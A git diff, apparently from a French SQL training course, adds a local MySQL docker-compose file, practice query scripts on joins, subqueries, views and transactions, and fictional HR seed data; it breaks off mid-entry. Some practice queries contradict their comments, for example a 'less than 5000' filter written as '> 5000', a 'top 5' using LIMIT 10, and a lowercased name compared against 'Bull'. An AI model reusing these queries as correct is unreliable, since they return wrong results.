b/Semaine_07/Jour_01/docker-compose.yml @@ -0,0 +1,22 @@ +services: + mysql: + image: mysql:8.0 + container_name: mysql + environment: + MYSQL_ROOT_PASSWORD: rootpassword + MYSQL_DATABASE: company + MYSQL_USER: mysql_user + MYSQL_PASSWORD: Azerty123 + command: --log_bin_trust_function_creators=1 + ports: + - "3306:3306" + volumes: + - mysql_data:/var/lib/mysql + healthcheck: + test: ["CMD", "mysqladmin", "ping", "-h", "localhost"] + interval: 10s + timeout: 5s + retries: 5 + +volumes: + mysql_data: \ No newline at end of file diff --git a/Semaine_07/Jour_02/SQL_scripts.sql b/Semaine_07/Jour_02/SQL_scripts.sql new file mode 100644 index 0000000..2e9fffa --- /dev/null +++ b/Semaine_07/Jour_02/SQL_scripts.sql @@ -0,0 +1,208 @@ +USE company; + +SELECT * FROM country; + +SELECT first_name "Firstname", last_name "Lastname" from employee; + +select distinct department_ID from employee; + +select count(job_id) from employee; + +select count(distinct job_id) from employee; + +-- liste des employés embauchés avant le 01.01.1991 +select * from employee where hire_date < '1991-01-01'; + +-- FOnctions +-- -- mettre en majuscule +select upper(first_name) "Firstname" from employee; +-- -- mettre les 3 premières lettres des nom et prénom des employés +select substring(upper(first_name), 1, 3), substring(upper(last_name), 1, 3) +from employee; +-- -- prénom + nom + longueur totale du prénom+nom +select first_name, last_name, +char_length(first_name) + char_length(last_name) "Longueur totale" +from employee; +-- -- Qui gagne le plus dans l'entreprise +select first_name, last_name, salary +from employee order by salary desc limit 1; +select first_name, last_name, +salary >= (select max(salary) from employee) +from employee order by salary desc; +-- -- salaire min et max +select min(salary), max(salary), avg(salary), sum(salary) from employee; +-- -- les gens de l'IT qui gagnent moins de 5000 +select first_name, last_name, department_id, salary +from employee where department_id = 60 and salary > 5000; +-- -- les gens dans la vente (80) et le mercatique (20) +select first_name, last_name, salary +from employee where department_id in (20, 80); +-- -- salaire entre 5000 et 10000 +select first_name, last_name, salary +from employee where salary between 5000 and 10000; +-- -- avec une commission +select first_name, last_name, commission_pct +from employee where commission_pct != 0; +-- -- employés dont le nom de famille commance par "K" +select first_name, last_name +from employee where last_name like "K%"; +-- -- employés dont le prénom contient "an" +select first_name, last_name +from employee where first_name like "%an%"; +-- -- employés dont le prénom fait 4 lettres +select first_name, last_name +from employee where first_name like "____"; +-- -- REGEX : nom de famille commence par "S" ou "T" +select first_name, last_name +from employee where last_name regexp "^[ST]"; +-- -- le nombre de jour depuis l'embauche +select first_name, last_name, hire_date, +datediff(curdate(), hire_date) as nb_jours +from employee order by nb_jours; + +-- Exercice +-- -- les commerciaux gagnant plus de 9000 triés par commission décroissante +select first_name, last_name, salary, commission_pct +from employee +where department_id = 80 and salary > 9000 order by commission_pct desc; +-- -- les postes dont le salaire est au moins le double du salaire minimum +select first_name, last_name, salary +from employee where salary > (select min(salary) from employee) * 2 +order by salary asc; +-- -- les employés dont le prénom commence et fini par la même lettre +select first_name, last_name +from employee +where left(first_name, 1) = right(first_name, 1); +-- -- le top 5 des employés les mieux payés n'étant pas chefs +select first_name, last_name, salary, job_id +from employee +where employee_id not in (select manager_id from employee) +order by salary desc limit 10; + +-- COURS +-- -- Jointures +-- -- -- https://cartman34.fr/informatique/sgbd/differences-entre-inner-left-right-et-outer-join-en-sql.html +select first_name, last_name, department_name +from employee e +inner join department d +on e.department_id = d.department_id; +-- -- -- LEFT avec condition : les employés qui ne sont affectés à aucun départment +select e.first_name, e.last_name, d.department_name +from employee e +left join department d +on e.department_id = d.department_id +where d.department_id is null; +-- -- -- RIGHT avec condition : la liste des départments ne contenant aucun employé +select e.first_name, e.last_name, d.department_name +from employee e +right join department d +on e.department_id = d.department_id +where e.department_id is null; +-- -- -- FULL OUTER JOIN +select e.first_name, e.last_name, d.department_name +from employee e +left join department d +on e.department_id = d.department_id +union +select e.first_name, e.last_name, d.department_name +from employee e +right join department d +on e.department_id = d.department_id; +-- -- -- NATURAL JOIN -> INNER JOIN +select location_id, street_address, city, country_name +from location +natural join country; +-- -- -- EXEMPLE : nous voulons la liste des employés travaillant à Seattle +-- -- -- On doit faire EMPLOYEE -> DEPARTMENT -> LOCATION +select e.first_name, e.last_name, l.city +from employee e +join department d +on e.department_id = d.department_id +join location l +on d.location_id = l.location_id +where lower(l.city) = "seattle"; + +-- -- -- EXEMPLE : nous voulons la liste des employés travaillant aux USA +-- -- -- On doit faire EMPLOYEE -> DEPARTMENT -> LOCATION -> COUNTRY +select e.first_name, e.last_name, l.city +from employee e +join department d +on e.department_id = d.department_id +join location l +on d.location_id = l.location_id +join country c +on l.country_id = c.country_id +where lower(c.country_name) like "%united%states%"; +-- -- -- Prénom et nom de l'employé suivi du prénom de son chef +select e.first_name, e.last_name, m.first_name "Prénom chef", m.last_name "Nom chef" +from employee e +left join employee m +on m.employee_id = e.manager_id; +-- -- -- Nombre de gens dans chaque poste +select j.job_title, count(*) +from employee e +join job j +on e.job_id = j.job_id +group by j.job_id; +-- -- -- la liste des chefs et le nombre d'employés sous leurs ordres +-- -- -- et dont le nombre d'employés est d'au moins 5 +select m.first_name "Prénom chef", +m.last_name "Nom chef", +count(e.employee_id) as count +from employee e +join employee m +on m.employee_id = e.manager_id +group by e.manager_id +having count >= 5 +order by count desc; + +-- -- Sous-requêtes +-- -- -- Tous les employés gagnant plus que l'employé nommé "Bull" +select first_name, last_name, salary +from employee +where salary > +(select salary from employee where lower(last_name) = "Bull"); +-- -- -- Tous les employés ayant pour chef un prénommé "Payam" +-- -- -- JOINTURE +select e.first_name, e.last_name, m.first_name "Prénom chef", m.last_name "Nom chef" +from employee e +left join employee m +on m.employee_id = e.manager_id +where lower(m.first_name) = "payam"; +-- -- -- Tous les employés ayant pour chef un prénommé "Payam" +-- -- -- SOUS-REQUETE +select first_name, last_name +from employee +where manager_id = +(select employee_id from employee where lower(first_name) = "payam"); +-- -- -- Les employés dont le salaire est compris entre le plus petit et 3000 +select first_name, last_name, salary +from employee +where salary +between (select min(salary) from employee) and 3000 +order by salary asc; +-- -- -- les employés dont le chef bosse aux USA +select first_name, last_name +from employee +where manager_id in +( +select employee_id from employee where department_id in + ( + select department_id from department where location_id in + ( + select location_id from location where lower(country_id) = "us" + ) + ) +); +-- -- Création de "Vues" +-- -- Grosso modo, c'est une requête pré-enregistrée +create view `seattle_employees` as +select e.first_name, e.last_name, e.salary, d.department_name, l.city +from employee e +join department d +on e.department_id = d.department_id +join location l +on d.location_id = l.location_id +where lower(l.city) = "seattle"; + +select * from seattle_employees; \ No newline at end of file diff --git a/Semaine_07/Jour_02/SQL_transactions.sql b/Semaine_07/Jour_02/SQL_transactions.sql new file mode 100644 index 0000000..ec23c27 --- /dev/null +++ b/Semaine_07/Jour_02/SQL_transactions.sql @@ -0,0 +1,38 @@ +-- Création de "Transactions" +-- -- ACID : Atomique, Cohérence, Isolation, Durabilité +-- -- minimum deux requêtes, et si l'une échoue, +-- -- la BDD revient à l'état initial. Toutes passent sinon aucune + +-- -- -- On veut transférer un employé vers un autre département +-- -- -- avec un nouveau job, et archiver son poste dans job_history + +START transaction; + +-- -- -- 1. Archivage + +insert into job_history ( + employee_id, + start_date, + end_date, + job_id, + department_id +) +select + employee_id, + e.hire_date, + current_date, + e.job_id, + e.department_id +from employee e +where e.employee_id = 101; + +-- -- -- 2. Mettre à jour le job et département + +update employee +set + job_id = "SA_REP", + department_id = 80, + hire_date = current_date +where employee_id = 101; + +COMMIT; \ No newline at end of file diff --git a/Semaine_07/Jour_02/hr_data.sql b/Semaine_07/Jour_02/hr_data.sql new file mode 100644 index 0000000..be39549 --- /dev/null +++ b/Semaine_07/Jour_02/hr_data.sql @@ -0,0 +1,241 @@ +use company; +SET FOREIGN_KEY_CHECKS = 0; + +-- vide les tables et remet les compteurs a zero +truncate table job_history; +truncate table employee; +truncate table job; +truncate table department; +truncate table location; +truncate table country; +truncate table region; + +-- drop et truncate + +INSERT INTO region (REGION_ID, REGION_NAME) VALUES +('1', 'Europe'), +('2', 'America'), +('3', 'Asia'), +('4', 'Middle East and Africa'); + +INSERT INTO country (COUNTRY_ID, COUNTRY_NAME, REGION_ID) VALUES +('AR', 'Argentina', '2'), +('AU', 'Australia', '3'), +('BE', 'Belgium', '1'), +('BR', 'Brazil', '2'), +('CA', 'Canada', '2'), +('CH', 'Switzerland', '1'), +('CN', 'China', '3'), +('DE', 'Germany', '1'), +('DK', 'Denmark', '1'), +('EG', 'Egypt', '4'), +('FR', 'France', '1'), +('HK', 'HongKong', '3'), +('IL', 'Israel', '4'), +('IN', 'India', '3'), +('IT', 'Italy', '1'), +('JP', 'Japan', '3'), +('KW', 'Kuwait', '4'), +('MX', 'Mexico', '2'), +('NG', 'Nigeria', '4'), +('NL', 'Netherlands', '1'), +('SG', 'Singapore', '3'), +('UK', 'United Kingdom', '1'), +('US', 'United States of America', '2'), +('ZM', 'Zambia', '4'), +('ZW', 'Zimbabwe', '4'); + +INSERT INTO location (LOCATION_ID, STREET_ADDRESS, POSTAL_CODE, CITY, STATE_PROVINCE, COUNTRY_ID) VALUES +('1000', '1297 Via Cola di Rie', '989', 'Roma', '', 'IT'), +('1100', '93091 Calle della Testa', '10934', 'Venice', '', 'IT'), +('1200', '2017 Shinjuku-ku', '1689', 'Tokyo', 'Tokyo Prefecture', 'JP'), +('1300', '9450 Kamiya-cho', '6823', 'Hiroshima', '', 'JP'), +('1400', '2014 Jabberwocky Rd', '26192', 'Southlake', 'Texas', 'US'), +('1500', '2011 Interiors Blvd', '99236', 'South San Francisco', 'California', 'US'), +('1600', '2007 Zagora St', '50090', 'South Brunswick', 'New Jersey', 'US'), +('1700', '2004 Charade Rd', '98199', 'Seattle', 'Washington', 'US'), +('1800', '147 Spadina Ave', 'M5V 2L7', 'Toronto', 'Ontario', 'CA'), +('1900', '6092 Boxwood St', 'YSW 9T2', 'Whitehorse', 'Yukon', 'CA'), +('2000', '40-5-12 Laogianggen', '190518', 'Beijing', '', 'CN'), +('2100', '1298 Vileparle (E)', '490231', 'Bombay', 'Maharashtra', 'IN'), +('2200', '12-98 Victoria Street', '2901', 'Sydney', 'New South Wales', 'AU'), +('2300', '198 Clementi North', '540198', 'Singapore', '', 'SG'), +('2400', '8204 Arthur St', '', 'London', '', 'UK'), +('2500', '"Magdalen Centre', ' The Oxford ', 'OX9 9ZB', 'Oxford', 'UK'), +('2600', '9702 Chester Road', '9629850293', 'Stretford', 'Manchester', 'UK'), +('2700', 'Schwanthalerstr. 7031', '80925', 'Munich', 'Bavaria', 'DE'), +('2800', 'Rua Frei Caneca 1360', '01307-002', 'Sao Paulo', 'Sao Paulo', 'BR'), +('2900', '20 Rue des Corps-Saints', '1730', 'Geneva', 'Geneve', 'CH'), +('3000', 'Murtenstrasse 921', '3095', 'Bern', 'BE', 'CH'), +('3100', 'Pieter Breughelstraat 837', '3029SK', 'Utrecht', 'Utrecht', 'NL'), +('3200', 'Mariano Escobedo 9991', '11932', 'Mexico City', '"Distrito Federal', 'MX'); + +INSERT INTO department (DEPARTMENT_ID , DEPARTMENT_NAME , MANAGER_ID, LOCATION_ID) VALUES +('10', 'Administration', '200', '1700'), +('20', 'Marketing', '201', '1800'), +('30', 'Purchasing', '114', '1700'), +('40', 'Human Resources', '203', '2400'), +('50', 'Shipping', '121', '1500'), +('60', 'IT', '103', '1400'), +('70', 'Public Relations', '204', '2700'), +('80', 'Sales', '145', '2500'), +('90', 'Executive', '100', '1700'), +('100', 'Finance', '108', '1700'), +('110', 'Accounting', '205', '1700'), +('120', 'Treasury', '0', '1700'), +('130', 'Corporate Tax', '0', '1700'), +('140', 'Control And Credit', '0', '1700'), +('150', 'Shareholder Services', '0', '1700'), +('160', 'Benefits', '0', '1700'), +('170', 'Manufacturing', '0', '1700'), +('180', 'Construction', '0', '1700'), +('190', 'Contracting', '0', '1700'), +('200', 'Operations', '0', '1700'), +('210', 'IT Support', '0', '1700'), +('220', 'NOC', '0', '1700'), +('230', 'IT Helpdesk', '0', '1700'), +('240', 'Government Sales', '0', '1700'), +('250', 'Retail Sales', '0', '1700'), +('260', 'Recruiting', '0', '1700'), +('270', 'Payroll', '0', '1700'); + +INSERT INTO job (JOB_ID, JOB_TITLE, MIN_SALARY, MAX_SALARY) VALUES +('AD_PRES', 'President', '20000', '40000'), +('AD_VP', 'Administration Vice President', '15000', '30000'), +('AD_ASST', 'Administration Assistant', '3000', '6000'), +('FI_MGR', 'Finance Manager', '8200', '16000'), +('FI_ACCOUNT', 'Accountant', '4200', '9000'), +('AC_MGR', 'Accounting Manager', '8200', '16000'), +('AC_ACCOUNT', 'Public Accountant', '4200', '9000'), +('SA_MAN', 'Sales Manager', '10000', '20000'), +('SA_REP', 'Sales Representative', '6000', '12000'), +('PU_MAN', 'Purchasing Manager', '8000', '15000'), +('PU_CLERK', 'Purchasing Clerk', '2500', '5500'), +('ST_MAN', 'Stock Manager', '5500', '8500'), +('ST_CLERK', 'Stock Clerk', '2000', '5000'), +('SH_CLERK', 'Shipping Clerk', '2500', '5500'), +('IT_PROG', 'Programmer', '4000', '10000'), +('MK_MAN', 'Marketing Manager', '9000', '15000'), +('MK_REP', 'Marketing Representative', '4000', '9000'), +('HR_REP', 'Human Resources Representative', '4000', '9000'), +('PR_REP', 'Public Relations Representative', '4500', '10500'); + +INSERT INTO employee (EMPLOYEE_ID, FIRST_NAME, LAST_NAME, EMAIL, PHONE_NUMBER, HIRE_DATE, JOB_ID, SALARY, COMMISSION_PCT, MANAGER_ID, DEPARTMENT_ID) VALUES +('100', 'Steven', 'King', 'SKING', '515.123.4567', '1987-06-20', 'AD_PRES', '24000.00', '0.00', '0', '90'), +('101', 'Neena', 'Kochhar', 'NKOCHHAR', '515.123.4568','1987-06-20' , 'AD_VP', '17000.00', '0.00', '100', '90'), +('102', 'Lex', 'De Haan', 'LDEHAAN', '515.123.4569', '1987-06-20', 'AD_VP', '17000.00', '0.00', '100', '90'), +('103', 'Alexander', 'Hunold', 'AHUNOLD', '590.423.4567', '1987-06-20', 'IT_PROG', '9000.00', '0.00', '102', '60'), +('104', 'Bruce', 'Ernst', 'BERNST', '590.423.4568', '1987-06-21', 'IT_PROG', '6000.00', '0.00', '103', '60'), +('105', 'David', 'Austin', 'DAUSTIN', '590.423.4569', '1987-06-22', 'IT_PROG', '4800.00', '0.00', '103', '60'), +('106', 'Valli', 'Pataballa', 'VPATABAL', '590.423.4560', '1987-06-23', 'IT_PROG', '4800.00', '0.00', '103', '60'), +('107', 'Diana', 'Lorentz', 'DLORENTZ', '590.423.5567', '1987-06-24', 'IT_PROG', '4200.00', '0.00', '103', '60'), +('108', 'Nancy', 'Greenberg', 'NGREENBE', '515.124.4569', '1987-06-25', 'FI_MGR', '12000.00', '0.00', '101', '100'), +('109', 'Daniel', 'Faviet', 'DFAVIET', '515.124.4169', '1987-06-26', 'FI_ACCOUNT', '9000.00', '0.00', '108', '100'), +('110', 'John', 'Chen', 'JCHEN', '515.124.4269', '1987-06-27', 'FI_ACCOUNT', '8200.00', '0.00', '108', '100'), +('111', 'Ismael', 'Sciarra', 'ISCIARRA', '515.124.4369', '1987-06-28', 'FI_ACCOUNT', '7700.00', '0.00', '108', '100'), +('112', 'Jose Manuel', 'Urman', 'JMURMAN', '515.124.4469', '1987-06-29', 'FI_ACCOUNT', '7800.00', '0.00', '108', '100'), +('113', 'Luis', 'Popp', 'LPOPP', '515.124.4567', '1987-06-30', 'FI_ACCOUNT', '6900.00', '0.00', '108', '100'), +('114', 'Den', 'Raphaely', 'DRAPHEAL', '515.127.4561', '1987-07-01', 'PU_MAN', '11000.00', '0.00', '100', '30'), +('115', 'Alexander', 'Khoo', 'AKHOO', '515.127.4562', '1987-07-02', 'PU_CLERK', '3100.00', '0.00', '114', '30'), +('116', 'Shelli', 'Baida', 'SBAIDA', '515.127.4563', '1987-07-03', 'PU_CLERK', '2900.00', '0.00', '114', '30'), +('117', 'Sigal', 'Tobias', 'STOBIAS', '515.127.4564', '1987-07-04', 'PU_CLERK', '2800.00', '0.00', '114', '30'), +('118', 'Guy', 'Himuro', 'GHIMURO', '515.127.4565', '1987-07-05', 'PU_CLERK', '2600.00', '0.00', '114', '30'), +('119', 'Karen', 'Colmenares', 'KCOLMENA', '515.127.4566', '1987-07-06', 'PU_CLERK', '2500.00', '0.00', '114', '30'), +('120', 'Matthew', 'Weiss', 'MWEISS', '650.123.1234', '1987-07-07', 'ST_MAN', '8000.00', '0.00', '100', '50'), +('121', 'Adam', 'Fripp', 'AFRIPP', '650.123.2234', '1987-07-08', 'ST_MAN', '8200.00', '0.00', '100', '50'), +('122', 'Payam', 'Kaufling', 'PKAUFLIN', '650.123.3234', '1987-07-09', 'ST_MAN', '7900.00', '0.00', '100', '50'), +('123', 'Shanta', 'Vollman', 'SVOLLMAN', '650.123.4234', '1987-07-10', 'ST_MAN', '6500.00', '0.00', '100', '50'), +('124', 'Kevin', 'Mourgos', 'KMOURGOS', '650.123.5234', '1987-07-11', 'ST_MAN', '5800.00', '0.00', '100', '50'), +('125', 'Julia', 'Nayer', 'JNAYER', '650.124.1214', '1987-07-12', 'ST_CLERK', '3200.00', '0.00', '120', '50'), +('126', 'Irene', 'Mikkilineni', 'IMIKKILI', '650.124.1224', '1987-07-13', 'ST_CLERK', '2700.00', '0.00', '120', '50'), +('127', 'James', 'Landry', 'JLANDRY', '650.124.1334', '1987-07-14', 'ST_CLERK', '2400.00', '0.00', '120', '50'), +('128', 'Steven', 'Markle', 'SMARKLE', '650.124.1434', '1987-07-15', 'ST_CLERK', '2200.00', '0.00', '120', '50'), +('129', 'Laura', 'Bissot', 'LBISSOT', '650.124.5234', '1987-07-16', 'ST_CLERK', '3300.00', '0.00', '121', '50'), +('130', 'Mozhe', 'Atkinson', 'MATKINSO', '650.124.6234', '1987-07-17', 'ST_CLERK', '2800.00', '0.00', '121', '50'), +('131', 'James', 'Marlow', 'JAMRLOW', '650.124.7234', '1987-07-18', 'ST_CLERK', '2500.00', '0.00', '121', '50'), +('132', 'TJ', 'Olson', 'TJOLSON', '650.124.8234', '1987-07-19', 'ST_CLERK', '2100.00', '0.00', '121', '50'), +('133', 'Jason', 'Mallin', 'JMALLIN', '650.127.1934', '1987-07-20', 'ST_CLERK', '3300.00', '0.00', '122', '50'), +('134', 'Michael', 'Rogers', 'MROGERS', '650.127.1834', '1987-07-21', 'ST_CLERK', '2900.00', '0.00', '122', '50'), +('135', 'Ki', 'Gee', 'KGEE', '650.127.1734', '1987-07-22', 'ST_CLERK', '2400.00', '0.00', '122', '50'), +('136', 'Hazel', 'Philtanker', 'HPHILTAN', '650.127.1634', '1987-07-23', 'ST_CLERK', '2200.00', '0.00', '122', '50'), +('137', 'Renske', 'Ladwig', 'RLADWIG', '650.121.1234', '1987-07-24', 'ST_CLERK', '3600.00', '0.00', '123', '50'), +('138', 'Stephen', 'Stiles', 'SSTILES', '650.121.2034', '1987-07-25', 'ST_CLERK', '3200.00', '0.00', '123', '50'), +('139', 'John', 'Seo', 'JSEO', '650.121.2019', '1987-07-26', 'ST_CLERK', '2700.00', '0.00', '123', '50'), +('140', 'Joshua', 'Patel', 'JPATEL', '650.121.1834', '1987-07-27', 'ST_CLERK', '2500.00', '0.00', '123', '50'), +('141', 'Trenna', 'Rajs', 'TRAJS', '650.121.8009', '1987-07-28', 'ST_CLERK', '3500.00', '0.00', '124', '50'), +('142', 'Curtis', 'Davies', 'CDAVIES', '650.121.2994', '1987-07-29', 'ST_CLERK', '3100.00', '0.00', '124', '50'), +('143', 'Randall', 'Matos', 'RMATOS', '650.121.2874', '1987-07-30', 'ST_CLERK', '2600.00', '0.00', '124', '50'), +('144', 'Peter', 'Vargas', 'PVARGAS', '650.121.2004', '1987-07-31', 'ST_CLERK', '2500.00', '0.00', '124', '50'), +('145', 'John', 'Russell', 'JRUSSEL', '011.44.1344.429268', '1987-08-01', 'SA_MAN', '14000.00', '0.40', '100', '80'), +('146', 'Karen', 'Partners', 'KPARTNER', '011.44.1344.467268', '1987-08-02', 'SA_MAN', '13500.00', '0.30', '100', '80'), +('147', 'Alberto', 'Errazuriz', 'AERRAZUR', '011.44.1344.429278', '1987-08-03', 'SA_MAN', '12000.00', '0.30', '100', '80'), +('148', 'Gerald', 'Cambrault', 'GCAMBRAU', '011.44.1344.619268', '1987-08-04', 'SA_MAN', '11000.00', '0.30', '100', '80'), +('149', 'Eleni', 'Zlotkey', 'EZLOTKEY', '011.44.1344.429018', '1987-08-05', 'SA_MAN', '10500.00', '0.20', '100', '80'), +('150', 'Peter', 'Tucker', 'PTUCKER', '011.44.1344.129268', '1987-08-06', 'SA_REP', '10000.00', '0.30', '145', '80'), +('151', 'David', 'Bernstein', 'DBERNSTE', '011.44.1344.345268', '1987-08-07', 'SA_REP', '9500.00', '0.25', '145', '80'), +('152', 'Peter', 'Hall', 'PHALL', '011.44.1344.478968', '1987-08-08', 'SA_REP', '9000.00', '0.25', '145', '80'), +('153', 'Christopher', 'Olsen', 'COLSEN', '011.44.1344.498718', '1987-08-09', 'SA_REP', '8000.00', '0.20', '145', '80'), +('154', 'Nanette', 'Cambrault', 'NCAMBRAU', '011.44.1344.987668', '1987-08-10', 'SA_REP', '7500.00', '0.20', '145', '80'), +('155', 'Oliver', 'Tuvault', 'OTUVAULT', '011.44.1344.486508', '1987-08-11', 'SA_REP', '7000.00', '0.15', '145', '80'), +('156', 'Janette', 'King', 'JKING', '011.44.1345.429268', '1987-08-12', 'SA_REP', '10000.00', '0.35', '146', '80'), +('157', 'Patrick', 'Sully', 'PSULLY', '011.44.1345.929268', '1987-08-13', 'SA_REP', '9500.00', '0.35', '146', '80'), +('158', 'Allan', 'McEwen', 'AMCEWEN', '011.44.1345.829268', '1987-08-14', 'SA_REP', '9000.00', '0.35', '146', '80'), +('159', 'Lindsey', 'Smith', 'LSMITH', '011.44.1345.729268', '1987-08-15', 'SA_REP', '8000.00', '0.30', '146', '80'), +('160', 'Louise', 'Doran', 'LDORAN', '011.44.1345.629268', '1987-08-16', 'SA_REP', '7500.00', '0.30', '146', '80'), +('161', 'Sarath', 'Sewall', 'SSEWALL', '011.44.1345.529268', '1987-08-17', 'SA_REP', '7000.00', '0.25', '146', '80'), +('162', 'Clara', 'Vishney', 'CVISHNEY', '011.44.1346.129268', '1987-08-18', 'SA_REP', '10500.00', '0.25', '147', '80'), +('163', 'Danielle', 'Greene', 'DGREENE', '011.44.1346.229268', '1987-08-19', 'SA_REP', '9500.00', '0.15', '147', '80'), +('164', 'Mattea', 'Marvins', 'MMARVINS', '011.44.1346.329268', '1987-08-20', 'SA_REP', '7200.00', '0.10', '147', '80'), +('165', 'David', 'Lee', 'DLEE', '011.44.1346.529268', '1987-08-21', 'SA_REP', '6800.00', '0.10', '147', '80'), +('166', 'Sundar', 'Ande', 'SANDE', '011.44.1346.629268', '1987-08-22', 'SA_REP', '6400.00', '0.10', '147', '80'), +('167', 'Amit', 'Banda', 'ABANDA', '011.44.1346.729268', '1987-08-23', 'SA_REP', '6200.00', '0.10', '147', '80'), +('168', 'Lisa', 'Ozer', 'LOZER', '011.44.1343.929268', '1987-08-24', 'SA_REP', '11500.00', '0.25', '148', '80'), +('169', 'Harrison', 'Bloom', 'HBLOOM', '011.44.1343.829268', '1987-08-25', 'SA_REP', '10000.00', '0.20', '148', '80'), +('170', 'Tayler', 'Fox', 'TFOX', '011.44.1343.729268', '1987-08-26', 'SA_REP', '9600.00', '0.20', '148', '80'), +('171', 'William', 'Smith', 'WSMITH', '011.44.1343.629268', '1987-08-27', 'SA_REP', '7400.00', '0.15', '148', '80'), +('172', 'Elizabeth', 'Bates', 'EBATES', '011.44.1343.529268', '1987-08-28', 'SA_REP', '7300.00', '0.15', '148', '80'), +('173', 'Sundita', 'Kumar', 'SKUMAR', '011.44.1343.329268', '1987-08-29', 'SA_REP', '6100.00', '0.10', '148', '80'), +('174', 'Ellen', 'Abel', 'EABEL', '011.44.1644.429267', '1987-08-30', 'SA_REP', '11000.00', '0.30', '149', '80'), +('175', 'Alyssa', 'Hutton', 'AHUTTON', '011.44.1644.429266', '1987-08-31', 'SA_REP', '8800.00', '0.25', '149', '80'), +('176', 'Jonathon', 'Taylor', 'JTAYLOR', '011.44.1644.429265', '1987-09-01', 'SA_REP', '8600.00', '0.20', '149', '80'), +('177', 'Jack', 'Livingston', 'JLIVINGS', '011.44.1644.429264', '1987-09-02', 'SA_REP', '8400.00', '0.20', '149', '80'), +('178', 'Kimberely', 'Grant', 'KGRANT', '011.44.1644.429263', '1987-09-03', 'SA_REP', '7000.00', '0.15', '149', '0'), +('179', 'Charles', 'Johnson', 'CJOHNSON', '011.44.1644.429262', '1987-09-04', 'SA_REP', '6200.00', '0.10', '149', '80'), +('180', 'Winston', 'Taylor', 'WTAYLOR', '650.507.9876', '1987-09-05', 'SH_CLERK', '3200.00', '0.00', '120', '50'), +('181', 'Jean', 'Fleaur', 'JFLEAUR', '650.507.9877', '1987-09-06', 'SH_CLERK', '3100.00', '0.00', '120', '50'), +('182', 'Martha', 'Sullivan', 'MSULLIVA', '650.507.9878', '1987-09-07', 'SH_CLERK', '2500.00', '0.00', '120', '50'), +('183', 'Girard', 'Geoni', 'GGEONI', '650.507.9879', '1987-09-08', 'SH_CLERK', '2800.00', '0.00', '120', '50'), +('184', 'Nandita', 'Sarchand', 'NSARCHAN', '650.509.1876', '1987-09-09', 'SH_CLERK', '4200.00', '0.00', '121', '50'), +('185', 'Alexis', 'Bull', 'ABULL', '650.509.2876', '1987-09-10', 'SH_CLERK', '4100.00', '0.00', '121', '50'), +('186', 'Julia', 'Dellinger', 'JDELLING', '650.509.3876', '1987-09-11', 'SH_CLERK', '3400.00', '0.00', '121', '50'), +('187', 'Anthony', 'Cabrio', 'ACABRIO', '650.509.4876', '1987-09-12', 'SH_CLERK', '3000.00', '0.00', '121', '50'), +('188', 'Kelly', 'Chung', 'KCHUNG', '650.505.1876', '1987-09-13', 'SH_CLERK', '3800.00', '0.00', '122', '50'), +('189', 'Jennifer', 'Dilly', 'JDILLY', '650.505.2876', '1987-09-14', 'SH_CLERK', '3600.00', '0.00', '122', '50'), +('190', 'Timothy', 'Gates', 'TGATES', '650.505.3876', '1987-09-15', 'SH_CLERK', '2900.00', '0.00', '122', '50'), +('191', 'Randall', 'Perkins', 'RPERKINS', '650.505.4876', '1987-09-16', 'SH_CLERK', '2500.00', '0.00', '122', '50'), +('192', 'Sarah', 'Bell', 'SBELL', '650.501.1876', '1987-09-17', 'SH_CLERK', '4000.00', '0.00', '123', '50'), +('193', 'Britney', 'Everett', 'BEVERETT', '650.501.2876', '1987-09-18', 'SH_CLERK', '3900.00', '0.00', '123', '50'), +('194', 'Samuel', 'McCain', 'SMCCAIN', '650.501.3876', '1987-09-19', 'SH_CLERK', '3200.00', '0.00', '123', '50'), +('195', 'Vance', 'Jones', 'VJONES', '650.501.4876', '1987-09-20', 'SH_CLERK', '2800.00', '0.00', '123', '50'), +('196', 'Alana', 'Walsh', 'AWALSH', '650.507.9811', '1987-09-21', 'SH_CLERK', '3100.00', '0.00', '124', '50'), +('197', 'Kevin', 'Feeney', 'KFEENEY', '650.507.9822', '1987-09-22', 'SH_CLERK', '3000.00', '0.00', '124', '50'), +('198', 'Donald', 'OConnell', 'DOCONNEL', '650.507.9833', '1987-09-23', 'SH_CLERK', '2600.00', '0.00', '124', '50'), +('199', 'Douglas', 'Grant', 'DGRANT', '650.507.9844', '1987-09-24', 'SH_CLERK', '2600.00', '0.00', '124', '50'), +('200', 'Jennifer', 'Whalen', 'JWHALEN', '515.123.4444', '1987-09-25', 'AD_ASST', '4400.00', '0.00', '101', '10'), +('201', 'Michael', 'Hartstein', 'MHARTSTE', '515.123.5555', '1987-09-26', 'MK_MAN', '13000.00', '0.00', '100', '20'), +('202', 'Pat', 'Fay', 'PFAY', '603.123.6666', '1987-09-27', 'MK_REP', '6000.00', '0.00', '201', '20'), +('203', 'Susan', 'Mavris', 'SMAVRIS', '515.123.7777', '1987-09-28', 'HR_REP', '6500.00', '0.00', '101', '40'), +('204', 'Hermann', 'Baer', 'HBAER', '515.123.8888', '1987-09-29', 'PR_REP', '10000.00', '0.00', '101', '70'), +('205', 'Shelley', 'Higgins', 'SHIGGINS', '515.123.8080', '1987-09-30', 'AC_MGR', '12000.00', '0.00', '101', '110'), +('206', 'William', 'Gietz', 'WGIETZ', '515.123.8181', '1987-10-01', 'AC_ACCOUNT', '8300.00', '0.00', '205', '110'); + +INSERT INTO job_history (EMPLOYEE_ID, START_DATE, END_DATE, JOB_ID, DEPARTMENT_ID) VALUES +('102', '1993-01-13', '1998-07-24', 'IT_PROG', '60'), +('101', '1989-09-21', '1993-10-27', 'AC_ACCOUNT', '110'), +('201', '1996-02-17', '1999-12-19', 'MK_REP', '20'), +('114', '1998-03-24', '1999-12-31', 'ST_CLERK', '50'), +('122', '1999-01-01', '1999-12-31', 'ST_CLERK', '50'), +('200', '1987-09-17', '1993-06-17', 'AD_ASST', '90'), +('176', '1998-03-24', '1998-12-31', 'SA_REP', '80'); + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/Semaine_07/Jour_02/sql_joins.jpg b/Semaine_07/Jour_02/sql_joins.jpg new file mode 100644 index 0000000..299dcc4 Binary files /dev/null and b/Semaine_07/Jour_02/sql_joins.jpg differ diff --git a/Semaine_07/Jour_03/BDD_Sujet_B.pdf b/Semaine_07/Jour_03/BDD_Sujet_B.pdf new file mode 100644 index 0000000..01e81f9 Binary files /dev/null and b/Semaine_07/Jour_03/BDD_Sujet_B.pdf differ diff --git a/Semaine_07/Jour_03/B_Boiché_Gauvain.mwb b/Semaine_07/Jour_03/B_Boiché_Gauvain.mwb new file mode 100644 index 0000000..ce65b1a Binary files /dev/null and 